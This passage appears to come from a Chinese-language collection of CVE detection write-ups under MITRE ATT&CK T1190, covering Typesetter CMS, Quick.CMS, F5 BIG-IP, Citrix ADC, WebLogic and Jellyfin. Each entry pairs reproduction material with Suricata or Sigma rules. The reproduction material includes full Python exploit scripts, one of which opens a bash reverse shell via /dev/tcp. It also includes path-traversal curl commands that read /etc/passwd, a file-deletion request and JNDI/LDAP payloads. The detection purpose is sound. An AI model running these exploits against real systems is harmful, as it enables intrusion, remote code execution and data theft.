alert http any any -> any any (msg:"CVE-2020-25540-rsq";flow:established,to_server;content:"POST";http_method;content:"/admin.html?s=admin/api.Update/node";http_uri;content:"rules=";http_client_body;reference:url,www.freebuf.com/vuls/256529.html;flowbits:set,first_rsq;noalert;classtype:web-application-attck;sid:1;rev:1;)
alert http any any -> any any (msg:"CVE-2020-25540-目录遍历";flow:established,to_client;content:"200";http_stat_code;content:"获取文件列表成功";http_server_body;flowbits:isset,first_rsq;sid:2;rev:1;)
```
### 文件读取检测规则
```
s
alert http any any -> any any (msg:"CVE-2020-25540-rsq";flow:established,to_server;content:"GET";http_method;content:"/admin.html?s=admin/api.Update/get/encode/";http_uri;reference:url,www.freebuf.com/vuls/256529.html;flowbits:set,first_rsq;noalert;classtype:web-application-attck;sid:1;rev:1;)
alert http any any -> any any (msg:"CVE-2020-25540-文件读取";flow:established,to_client;content:"200";http_stat_code;content:"data";http_server_body;flowbits:isset,first_rsq;sid:2;rev:1;)
```
### 建议
流量+安全设备比较容易检测到此攻击行为。
## 参考推荐
MITRE-ATT&CK-T1190
CVE-2020-25540目录遍历文件读取漏洞
================================================
FILE: Web/2020/T1190-CVE-2020-25790-Typesetter CMS文件上传漏洞.md
================================================
# T1190-CVE-2020-25790-Typesetter CMS文件上传漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Typesetter CMS存在代码问题漏洞,该漏洞源于允许管理员通过ZIP归档中的. PHP文件上传和执行任意PHP代码。
影响范围:Typesetter CMS 5.x全版本
## 检测日志
HTTP
## 测试复现
虽然对上传的文件进行了过滤,但是没有对解压文件的文件进行过滤,导致可以上传,php的压缩文件,解压后就可以执行php文件。
Finder.class.php文件中extract函数解压后未对,解压后的文件名进行任何过滤。POC如下:
```
yml
import argparse
- --------------
from bs4 import BeautifulSoup
- --------------
import requests
- --------------
import sys
- --------------
import re
----------
import urllib3
- --------------
from urllib3.exceptions import InsecureRequestWarning
-----------------------------------------------------
banner = """---------------
usage: main.py [-h] -p PASSWORD -l LOGIN -u URL
==> Exploit for CVE 2020-25790
optional arguments:
- h, --help show this help message and exit
- p PASSWORD, --password PASSWORD
==> admin password
- l LOGIN, --login LOGIN
==> admin login
- u URL, --url URL ==> main URL
"""
-----------------------------------------------------
print(banner)
- --------------
menu = argparse.ArgumentParser(description="==> Exploit for CVE 2020-25790")
- --------------
menu.add_argument("-p", "--password", required=True, help="==> admin password")
- --------------
menu.add_argument("-l", "--login", required=True, help="==> admin login")
- --------------
menu.add_argument("-u", "--url", required=True, help="==> main URL")
- --------------
menu.add_argument("-f", "--file", required=True, help="==> Malicous zip file with php file inside")
- --------------
args = menu.parse_args()
-----------------------------------------------------
login = args.login
- --------------
password = args.password
- --------------
url = args.url
- --------------
file = args.file
----------
PROXIES = proxies = {
- --------------
"http": "http://127.0.0.1:8080",
- --------------
"https": "https://127.0.0.1:8080",
- --------------
}
----------
class Exploit:
-----------------------------------------------------
def __init__(self, login, password, url, file):
- --------------
self.login = login
- --------------
self.password = password
- --------------
self.url = url
- --------------
self.user_agent = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari"
- --------------
self.file = open(file, 'rb')
-----------------------------------------------------
def get_nounce(self):
- --------------
try:
- --------------
url = self.url + "/Admin"
- --------------
r = requests.get(url=url, headers={'User-Agent': self.user_agent}, timeout=3, verify=False)
- --------------
data = r.text
- --------------
soap_obj = BeautifulSoup(data, 'html.parser')
- --------------
for inp in soap_obj.find_all("input"):
- --------------
for v in inp:
- --------------
nounce = v['value']
- --------------
if nounce != None or nounce != "":
- --------------
return nounce
- --------------
except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
- --------------
print(f'==> Error {e}')
-----------------------------------------------------
def get_hash_folders(self):
-----------------------------------------------------
cookie_auth = self.get_cookies()
- --------------
hash_verified = self.get_verified()
- --------------
data_post = {'verified': hash_verified, 'cmd': 'open', 'target':'', 'init': 1, 'tree': 1}
- --------------
try:
- --------------
url = self.url + "/Admin_Finder"
- --------------
r = requests.post(url=url, data=data_post, headers={'User-Agent': self.user_agent, 'Cookie': cookie_auth}, timeout=10, verify=False)
- --------------
json_data = r.json()
- --------------
hash_dir = json_data['files'][2]['hash']
- --------------
return hash_dir
- --------------
except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
- --------------
print(f'==> Error {e}')
-----------------------------------------------------
def get_cookies(self):
-----------------------------------------------------
nounce = self.get_nounce()
- --------------
if nounce:
- --------------
try:
- --------------
url = self.url + "/Admin"
- --------------
data_post = {'file': '', 'cmd': 'login', 'login_nonce': nounce, 'username': self.login, 'user_sha': '',
- --------------
'password': self.password, 'pass_md5': '', 'pass_sha': '', 'pass_sha512': '',
- --------------
'remember': 'on', 'verified': ''}
- --------------
r = requests.post(url=url, verify=False, timeout=3, data=data_post, allow_redirects=False,
- --------------
headers={'User-Agent': self.user_agent, 'Cookie': 'g=2'})
- --------------
cookie_admin = r.headers['Set-Cookie']
- --------------
cookie_name = cookie_admin.split(':')[0].split('=')[0]
- --------------
cookie_value = cookie_admin.split(':')[0].split('=')[1].split(';')[0]
-----------------------------------------------------
if cookie_name == None or cookie_name == "":
- --------------
if cookie_value == None or cookie_value == "":
- --------------
print("==> Something went wrong while login")
- --------------
else:
- --------------
data = f"{cookie_name}={cookie_value};"
- --------------
return data
- --------------
except (requests.exceptions.Timeout, requests.exceptions.BaseHTTPError) as e:
- --------------
print(f'==> Error while login {e}')
-----------------------------------------------------
def upload_zip(self):
- --------------
url = self.url + '/Admin_Finder'
- --------------
hash_verified = self.get_verified()
- --------------
hash_dir = self.get_hash_folders()
- --------------
auth_cookie = self.get_cookies()
-----------------------------------------------------
try:
- --------------
print(f"==> Uploading file: {self.file}")
- --------------
data = {'cmd': "upload", "target": hash_dir, "verified": hash_verified}
- --------------
r = requests.post(url=url, verify=False, timeout=10,
- --------------
headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, data=data, files={'upload[]': self.file})
- --------------
hash_file = r.json()['added'][0]['hash']
- --------------
self.extract_file(auth_cookie, hash_file, hash_verified)
- --------------
except (requests.exceptions.HTTPError, requests.exceptions.Timeout) as e:
- --------------
print(f"==> Error while uploading {e}")
----------
def extract_file(self, auth_cookie, hash_file, hash_verified):
- --------------
data_post={'verified': hash_verified, 'cmd': 'extract', 'target': hash_file}
- --------------
try:
- --------------
url = self.url + "/Admin_Finder"
- --------------
r = requests.post(url=url, data=data_post, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, timeout=10, verify=False)
- --------------
name_file = r.json()['added'][0]['name']
- --------------
print(f"==> All Hashes are collected from: {name_file}")---------------
- --------------
self.xpl(auth_cookie,name_file)
- --------------
except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
- --------------
print(f'==> Error {e}')
----------
def xpl(self, auth_cookie, name_file):
- --------------
try:
- --------------
url = self.url + "/data/_uploaded/file/" + name_file + "?cmd=id"
- --------------
new_url = url.replace("index.php", "")
- --------------
print(f"==> Try to exploit: {new_url}")
- --------------
r = requests.get(url=new_url, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, timeout=10, verify=False)
- --------------
pattern = r'(.*?)
'
- --------------
m = re.search(pattern, r.text.replace("\n", ""))
- --------------
if m is not None and m != "":
- --------------
print(f"==> Vulnerable: {m.group(1)}")
- --------------
except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
- --------------
print(f'==> Error {e}')
----------
def get_verified(self):
- --------------
try:
- --------------
url = self.url + "/Admin/Uploaded"
- --------------
auth_cookie = self.get_cookies()
- --------------
r = requests.get(url=url, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, timeout=10, verify=False)
- --------------
data = r.text
- --------------
pattern_regex = r'"verified":"(.*)"}'
- --------------
m = re.search(pattern_regex, data)
- --------------
if m is not None or m != "":
- --------------
return m.group(1)
-----------------------------------------------------
except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
- --------------
print(f'==> Error {e}')
-----------------------------------------------------
if __name__ == "__main__":
- --------------
obj = Exploit(login, password, url, file)
- --------------
obj.upload_zip()
```
## 测试留痕
```
yml
POST /index.php/Admin_Finder HTTP/1.1
Host: 172.17.41.106
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 186
Origin: http://172.17.41.106
Connection: keep-alive
Referer: http://172.17.41.106/index.php/Admin/Uploaded
Cookie: g=2; gpEasy_8970d7b01d50=WGg1nivX5H8WZwTgXg2HS2EIl0m9sD5IOVn2YV5l
verified=cea661e44fe5fe2e1e39fe3c9b055d556ea565fdc613f2adf8aed7b91d14f71002e28067814822df3aaf258cd7d97883f90b7a507fcdd8685b7deea232b9748b&cmd=extract&target=l1_ZmlsZS9zaW1wbGUucGhwLnppcAHTTP/1.1 200 OK
Date: Fri, 09 Oct 2020 07:42:58 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Fri, 9 Oct 2020 07:42:58 GMT
Expires: Fri, 9 Oct 2020 07:42:58 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
Vary: Accept-Encoding
Content-Length: 144
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json
{"added":[{"mime":"text\/html","ts":1600337620,"read":1,"write":1,"size":348,"hash":"l1_ZmlsZS9zaW1wbGUucGhw","name":"simple.php","phash":"l1_ZmlsZQ"}]}GET /data/_uploaded/file/simple.php HTTP/1.1
Host: 172.17.41.106
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://172.17.41.106/index.php/Admin/Uploaded
Cookie: g=2; gpEasy_8970d7b01d50=WGg1nivX5H8WZwTgXg2HS2EIl0m9sD5IOVn2YV5l
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Fri, 09 Oct 2020 07:43:01 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 181
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
```
## 检测规则/思路
### Suricata规则
```
s
alert http any any -> any any (msg:"CVE-2020-25790-requset";flow:established,to_server;content:"POST";http_method;content:"/index.php/Admin_Finder";http_uri;content:"&cmd=extract&target=";http_client_body; flowbits: set, first_get_req; noalert; reference:url,blog.csdn.net/xuandao_ahfengren/article/details/111402910;classtype:web-application-attck;sid:1;rev:1;)
alert http any any -> any any (msg:"CVE-2020-25790-rsp";flow:established,to_client;content:"200";http_stat_code;content:"added";http_server_body;flowbits:isset,first_get_req;noalert;flowbits:set,second_get_req;sid:2;rev:1;)
alert http any any -> any any (msg:"CVE-2020-25790-Typesetter CMS文件上传漏洞";flow:established,to_server;content:"GET";http_method;content:"/data/_uploaded/file/";http_uri;flowbits:isset,second_get_req;sid:3;rev:1;)
```
### 建议
流量+安全设备比较容易检测到此攻击行为。
## 参考推荐
MITRE-ATT&CK-T1190
Typesetter CMS文件上传漏洞复现(CVE-2020-25790)
================================================
FILE: Web/2020/T1190-CVE-2020-35754-QuickCms访问控制错误漏洞.md
================================================
# T1190-CVE-2020-35754-QuickCms访问控制错误漏洞------------------
## 来自ATT&CK的描述------------------
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。------------------
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。------------------
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。------------------
## 测试案例------------------
Opensolution Quick.Cart和Opensolution Quick.Cms都是波兰Opensolution公司的产品。Opensolution Quick.Cart是一款用于构建购物车平台的建站系统。Opensolution Quick.Cms是一款用于构建文本管理平台的建站系统。 OpenSolution Quick.CMS < 6.7 and Quick.Cart < 6.7 存在注入漏洞,该漏洞允许经过身份验证的用户通过Language选项卡的输入字段执行代码注入。------------------
## 检测日志------------------
HTTP------------------
## 测试复现------------------
POC&&EXP------------------
```
yml
# Exploit Title: Quick.CMS 6.7 - Remote Code Execution (Authenticated)
# Date: 2020-12-28
# Exploit Author: mari0x00
# Vendor Homepage: https://opensolution.org/
# Software Link: https://opensolution.org/download/?sFile=Quick.Cms_v6.7-pl.zip
# Description: https://secator.pl/index.php/2021/01/28/cve-2020-35754-authenticated-rce-in-quick-cms-and-quick-cart/
# Version: <= 6.7
# CVE : CVE-2020-35754------------------
# !/usr/bin/python3------------------
import requests
import sys
from termcolor import colored
from time import sleep------------------
print(colored('''###########################################################''',"red"))
print(colored('''###### Quick.CMS authenticated RCE by mari0x00 #######''',"red"))
print(colored('''###########################################################''',"red"))
print("")------------------
if len(sys.argv) != 6:
print((colored("[~] Usage : python3 quickpwn.py ","red")))
print((colored("[~] Example: python3 quickpwn.py http://192.168.101.105/quick.cms/ john@example.com pass123 192.168.101.101 4444","red")))
exit()
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
IP = sys.argv[4]
PORT = sys.argv[5]------------------------------------------------------------------------------------------------------------------
# Start session
s = requests.Session()
headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0'}------------------------------------------------------------------------------------------------------------------
# Authenticate
print((colored("[+] Attempting user login","blue")))------------------
login_data = {
"sEmail": username,
"sPass": password,
"bAcceptLicense": "1",
"iAcceptLicense": "true"
}------------------
login = s.post(url+"admin.php?p=login", login_data, headers=headers)
sleep(0.5)------------------------------------------------------------------------------------------------------------------
# Exploit
print((colored("[+] Adding shell command","blue")))
payload = "Back end\\\"; system('/bin/bash -c \\'bash -i >& /dev/tcp/" + IP + "/" + PORT + " 0>&1\\''); //"------------------
shell = {
"sOption": "save",
"Back_end_only": payload
}------------------
exploit = s.post(url+"admin.php?p=languages&sLangEdit=en", shell, headers=headers)
sleep(1)------------------
# Triggering reverse shell (three times just in case)
print("")
print((colored("[+] Triggering the shell. Go nuts!","green")))
r = s.get(url+"admin.php?p=languages", headers=headers)
sleep(1)
r = s.get(url+"admin.php?p=languages", headers=headers)
sleep(1)
r = s.get(url+"admin.php?p=languages", headers=headers)------------------
```
- -----------------
## 检测规则/思路------------------
### Suricata规则------------------
```
s
alert http any any -> any any (msg:"CVE-2020-35754-QuickCms-1";flow:established,to_server;content:"POST";http_method;content:"/quickcmsadmin.php?p=";http_uri;content:"bAcceptLicense=1&iAcceptLicense=true";http_client_body;flowbits:set,first_req;noalert;classtype:web-application-attck;sid:1;rev:1;)------------------
alert http any any -> any any (msg:"CVE-2020-35754-QuickCms-2";flow:established,to_server;content:"POST";http_method;content:"/quickcmsadmin.php?p=";http_uri;content:"Back_end_only=";http_client_body;flowbits:isset,first_req;noalert;flowbits:set,second-req;classtype:web-application-attck;sid:2;rev:1;)------------------
alert http any any -> any any (msg:"CVE-2020-35754-QuickCms访问控制错误漏洞";flow:established,to_server;content:"GET";http_method;content:"/quickcmsadmin.php?p=languages";http_uri;flowbits:isset,second-req;reference:url,www.anquanke.com/vul/id/2332309;classtype:web-application-attck;sid:3;rev:1;)------------------
```
- -----------------
### 建议------------------
流量+安全设备比较容易检测到此攻击行为。------------------
## 参考推荐------------------
MITRE-ATT&CK-T1190------------------
------------------
Opensolution Quick.Cart和Opensolution Quick.Cms访问控制错误漏洞------------------
================================================
FILE: Web/2020/T1190-CVE-2020-5902-F5_BIG-IP_远程代码执行漏洞.md
================================================
# T1190-CVE-2020-5902-F5_BIG-IP-远程代码执行
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
F5 BIG-IP 是美国F5公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。在 F5 BIG-IP 产品的流量管理用户页面 (TMUI)/配置实用程序的特定页面中存在一处远程代码执行漏洞。
未授权的远程攻击者通过向该页面发送特制的请求包,可以造成任意Java 代码执行。进而控制 F5 BIG-IP 的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。
漏洞影响范围:
11.6.x, 12.1.x, 13.1.x, 14.1.x, 15.0.x, 15.1.x
## 检测日志
HTTP.log
## 测试复现
漏洞利用建议参考:
F5 BIG-IP 远程代码执行漏洞(CVE-2020-5902) 漏洞利用
cve-2020-5902 RCE的payload以及绕过方式
## 测试留痕
暂无实测,故无留痕。直接引用漏洞利用建议参考中的案例数据进行特征提取。
### 文件读取POC
```
yml
curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts
https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license
https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf
```
### 通过java反序列化绕过waf的payload
```
yml
String dburl = "jdbc:hsqldb:https://" + server +
":443/tmui/login.jsp/..%3b/hsqldb/"; #截取部分内容
```
## 检测规则/思路
### sigma规则
```
yml
title: CVE-2020-5902 F5 BIG-IP 远程代码执行漏洞
status: experimental
references:
- https://blog.csdn.net/wuyou1995/article/details/107170186/
- https://www.cnblogs.com/potatsoSec/p/13263806.html
author: Florian Roth
translator: 12306Bro
date: 2020/07/05
logsource:
category: webserver
detection:
selection_base:
c-uri|contains:
- '/tmui/'
- '/hsqldb'
selection_traversal:
c-uri|contains:
- '..;/'
- '.jsp/..'
condition: selection_base and selection_traversal
fields:
- c-ip
- c-dns
falsepositives:
- Unknown
tags:
- attack.initial_access
- attack.t1190
level: critical
```
### 建议
建议使用HTTP流量+安全设备进行检测分析判断攻击是否成功。
## 参考推荐
MITRE-ATT&CK-T1190
F5 BIG-IP 远程代码执行漏洞(CVE-2020-5902) 漏洞利用
cve-2020-5902 RCE的payload以及绕过方式
================================================
FILE: Web/2020/T1190-CVE-2020-8193-CVE-2020-8195.md
================================================
# T1190-CVE-2020-8193/CVE-2020-8195
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Citrix Systems Citrix Application Delivery Controller(ADC)等都是美国思杰系统(Citrix Systems)公司的产品。Citrix Application Delivery Controller是一款应用交付控制器。Citrix Systems Gateway(Citrix Systems NetScaler Gateway)是一套安全的远程接入解决方案。Citrix System SDWAN WAN-OP是一款SD-WAN(虚拟软件定义的广域网)设备。Citrix Systems Citrix ADC、Citrix Gateway和Citrix SDWAN WAN-OP中存在安全漏洞。攻击者可利用该漏洞绕过权限限制。
## 检测日志
HTTP.log
## 测试复现
漏洞利用方式建议参考:
Citrix Systems产品安全漏洞 CVE-2020-8193, CVE-2020-8195 and CVE-2020-8196 poc
Citrix安全研究历险记
## 测试留痕
暂无实测,截取部分公开资料内容作为留痕数据。
### 删除文件
```
yml
POST /rapi/filedownload?filter=remove:1,path:%2ftmp%2ftest HTTP/1.1
Host: citrix.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://citrix.local/menu/neo
If-Modified-Since: Thu, 01 Jan 1970 05:30:00 GMT
rand_key: 2061490565.1580290269373855
DNT: 1
X-NITRO-USER: henk
X-NITRO-PASS: henk
Connection: close
Cookie: startupapp=neo; is_cisco_platform=0; st_splitter=350px; rdx_pagination_size=25%20Per%20Page; SESSID=05afba59ef8e0e35933f3bc266941337
Content-Type: application/xml
Content-Length: 31
```
以上内容截取自
### 获取默认所有签名
```
yml
POST /pcidss/report?type=all_signatures&sid=254&username=nsroot&profile_name=default&set=0&sig_name=_default_signature_&sig_start_no=1 HTTP/1.1
Host: citrix.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://citrix.local/pcidss/launch_report?type=main
Content-Type: application/xml
Content-Length: 0
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
```
以上内容截取自
## 检测规则/思路
### sigma规则
```
yml
title: 检测可疑的CVE-2020-8193/CVE-2020-8195
references:
- https://www.cnblogs.com/potatsoSec/p/13281577.html
- https://research.nccgroup.com/2020/07/10/rift-citrix-adc-vulnerabilities-cve-2020-8193-cve-2020-8195-and-cve-2020-8196-intelligence/
status: experimental
date: 2020/07/10
tags:
- attack.initial_access
- attack.t1190
logsource:
category: webserver
detection:
selection1:
c-uri|contains:
- '/rapi/filedownload?filter=path:%2F' #删除文件时POST请求,URL路径包含的字段。
selection2:
c-uri|contains|all:
- '/pcidss/report' #获取所有默认签名时POST请求URL内包含的字段
- 'type=all_signatures'
- 'sig_name=_default_signature_'
condition: 1 of them
fields:
- client_ip
- vhost
- url
- response
falsepositives:
- Unknown
level: critical
```
### 建议
建议使用HTTP流量+安全设备进行检测分析,研判攻击是否成功。
## 参考推荐
MITRE-ATT&CK-T1190
================================================
FILE: Web/2021/T1190-CVE-2021-2109_Weblogic_LDAP_远程代码执行漏洞.md
================================================
# T1190-CVE-2021-2109_Weblogic_LDAP_远程代码执行漏洞-----------------
## 来自ATT&CK的描述-----------------
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。-----------------
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。-----------------
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。-----------------
## 测试案例-----------------
2021年1月20日,绿盟科技监测发现Oracle官方发布了2021年1月关键补丁更新公告CPU(Critical Patch Update),共修复了329个不同程度的漏洞,其中包括7个影响WebLogic的严重漏洞(CVE-2021-1994、CVE-2021-2047、CVE-2021-2064、CVE-2021-2108、CVE-2021-2075、CVE-2019-17195、CVE-2020-14756),未经身份验证的攻击者可通过此次的漏洞实现远程代码执行。CVSS评分均为9.8,利用复杂度低。建议用户尽快采取措施,对上述漏洞进行防护。-----------------
### 0x1 影响版本-----------------
```
yml
WebLogic Server 10.3.6.0.0-----------------
WebLogic Server 12.1.3.0.0-----------------
WebLogic Server 12.2.1.3.0-----------------
WebLogic Server 12.2.1.4.0-----------------
WebLogic Server 14.1.1.0.0-----------------
```
- ----------------
### 0x2 漏洞详情-----------------
可参考:-----------------
Weblogic LDAP 远程代码执行漏洞 CVE-2021-210:-----------------
【漏洞复现系列】超详细复现过程_CVE-2021-2109_Weblogic Server远程代码执行漏洞复现_JDK版本对比:-----------------
## 检测日志-----------------
HTTP.log,主要是基于POC报文进行检测,POC如下:-----------------
```
yml
POST /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.122;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 192.168.122.9:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
cmd:whoami
Cookie: ADMINCONSOLESESSION=8xUkHS93pNBdw9iRlb1XOoH5Iy5qm65NmKad54eCEtDI2PErEIXy!-181493417
Connection: close-----------------
配合未授权访问后台-----------------
POST /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.122;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 192.168.122.9:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
cmd:pwd
Cookie: ADMINCONSOLESESSION=8xUkHS93pNBdw9iRlb1XOoH5Iy5qm65NmKad54eCEtDI2PErEIXy!-181493417
Connection: close-----------------
```
- ----------------
## 测试复现-----------------
可参考漏洞详情部分-----------------
## 检测规则/思路-----------------
### sigma规则-----------------
```
yml
title: Oracle WebLogic CVE-2021-2109 HTTP协议远程代码执行漏洞检测
status: 测试状态
description: 基于HTTP日志进行检测
references:
- https://blog.csdn.net/m0_46257936/article/details/112984836
- https://www.cnblogs.com/Yang34/archive/2004/01/13/14327495.html
logsource:
category: webserver #日志源:webserver
detection:
selection:
cs-method: 'GET' #请求方法为GET
c-uri|contains|all: #请求url中包含以下任意内容
- 'com.bea.console.handles.JndiBindingHandle'
- 'ldap://'
- 'AdminServer'
condition: selection
fields:
- c-ip
- c-dns
falsepositives: #误报情况 未知
- Unknown
level: critical
tags:
- attack.t1190
- attack.initial_access
- cve.2021-2109-----------------
```
- ----------------
### 建议-----------------
建议使用HTTP流量+安全设备(天眼)进行检测分析判断攻击是否成功。-----------------
## 参考推荐-----------------
MITRE-ATT&CK-T1190-----------------
-----------------
Weblogic LDAP 远程代码执行漏洞 CVE-2021-2109-----------------
-----------------
【漏洞复现系列】超详细复现过程_CVE-2021-2109_Weblogic Server远程代码执行漏洞复现_JDK版本对比-----------------
-----------------
CVE-2021-2109 Weblogic Server远程代码执行-----------------
================================================
FILE: Web/2021/T1190-CVE-2021-21402-Jellyfin任意文件读取漏洞.md
================================================
# T1190-CVE-2021-21402-Jellyfin任意文件读取漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
